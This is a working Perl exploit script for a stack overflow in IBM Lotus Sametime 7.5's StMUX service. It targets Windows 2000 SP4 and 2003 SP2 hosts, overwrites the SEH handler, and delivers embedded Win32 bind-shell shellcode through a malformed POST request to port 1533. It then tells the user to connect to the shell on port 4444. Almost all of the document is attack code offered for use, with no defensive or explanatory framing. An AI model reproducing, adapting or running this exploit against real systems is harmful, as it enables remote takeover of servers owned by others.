sametime-exploit.txt

`#!perl  
#  
# "IBM Lotus Sametime" StMUX Stack Overflow Exploit  
#  
# Author: Manuel Santamarina Suarez  
# e-Mail: [email protected]  
#  
  
use IO::Socket;  
use File::Basename;  
  
#  
# destination TCP port  
#  
$port = 1533;  
  
#  
# SE handler  
#  
# Don't use upper-case ASCII characters or 0x00, 0x0a, 0x0b, 0x0d, 0x20  
# You MUST use a POP/POP/RET sequence that doesn't modify the ESP register  
#  
$seh = reverse( "\x7C\x34\x10\xC2" ); # POP ECX/POP ECX/RET  
# msvcr71.7c3410c2  
# universal  
  
#  
# Shellcode  
#  
# Win32 Bind Shellcode (EXITFUNC=process, LPORT=4444)  
#  
$sc = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45".  
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49".  
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d".  
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66".  
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61".  
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40".  
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32".  
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6".  
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09".  
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0".  
"\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff".  
"\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53".  
"\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff".  
"\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64".  
"\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89".  
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab".  
"\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51".  
"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53".  
"\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6".  
"\x52\xff\xd0\x68\x7e\xd8\xe2\x73\x53\xff\xd6\xff\xd0";  
  
#  
# JUMP to 'ESP adjustment' and shellcode  
#  
$jmp = "\x74\x23". # JE SHORT  
"\x75\x21"; # JNZ SHORT  
  
  
#  
#  
# Don't edit anything after this line  
#  
#  
  
  
sub usage {  
print "Usage: " . basename( $0 ) . " [target] [IPv4 address]\n".  
"Example: ". basename( $0 ) . " 1 192.168.1.32\n".  
"\n".  
"Targets:\n".  
"[1] Lotus Sametime 7.5 on Windows Server 2000 SP4\n".  
"[2] Lotus Sametime 7.5 on Windows Server 2003 SP2\n";  
exit;  
}  
  
  
# Net::IP::ip_is_ipv4  
sub ip_is_ipv4 {  
my $ip = shift;  
  
if (length($ip) < 7) {  
return 0;  
}  
  
unless ($ip =~ m/^[\d\.]+$/) {  
return 0;  
}  
  
if ($ip =~ m/^\./) {  
return 0;  
}  
  
if ($ip =~ m/\.$/) {  
return 0;  
}  
  
if ($ip =~ m/^(\d+)$/ and $1 < 256) {  
return 1  
}  
  
my $n = ($ip =~ tr/\./\./);  
  
unless ($n >= 0 and $n < 4) {  
return 0;  
}  
  
if ($ip =~ m/\.\./) {  
return 0;  
}  
  
foreach (split /\./, $ip) {  
unless ($_ >= 0 and $_ < 256) {  
return 0;  
}  
}  
  
return 1;  
}  
  
  
print "---------------------------------------------------\n".  
' "IBM Lotus Sametime" StMUX Stack Overflow Exploit'."\n".  
"---------------------------------------------------\n\n";  
  
if( ($#ARGV+1) != 2 ) {  
&usage;  
}  
  
# Windows 2000 SP4  
if( $ARGV[0] == 1 ) {  
$popad = "\x5b" x 3 . # POP EBX  
"\x61" x 268 . # POPAD  
"\xff\x24\x24"; # JMP DWORD PTR SS:[ESP]  
}  
# Windows 2003 SP2  
elsif( $ARGV[0] == 2 ) {  
$popad = "\x5b" x 3 . # POP EBX  
"\x61" x 269 . # POPAD  
"\xff\x24\x24"; # JMP DWORD PTR SS:[ESP]  
}  
else {  
&usage;  
}  
  
if( ip_is_ipv4( $ARGV[1] ) ) {  
$ip = $ARGV[1];  
}  
else  
{  
&usage;  
}  
  
print "[+] Connecting to $ip:$port...\n";  
  
$sock = IO::Socket::INET->new (  
PeerAddr => $ip,  
PeerPort => $port,  
Proto => 'tcp',  
Timeout => 2  
) or print "[-] Error: Couldn't establish a connection to $ip:$port!\n" and exit;  
  
print "[+] Connected.\n".  
"[+] Trying to overwrite and control the SE handler...\n";  
  
$path = "\x66" x 44 . $jmp . $seh . "\x66" x 29 . $popad;  
$sock->send (  
"POST /CommunityCBR/CC.39.$path/\r\n".  
"User-Agent: Sametime Community Agent\r\n".  
"Host: $ip:1533\r\n".  
"Content-Length: ". length( $sc ) ."\r\n".  
"Connection: Close\r\n".  
"Cache-Control: no-cache\r\n".  
"\r\n".  
$sc  
);  
  
sleep( 3 );  
close( $sock );  
  
print "[+] Done. Now check for a bind shell on $ip:4444!\n";  
`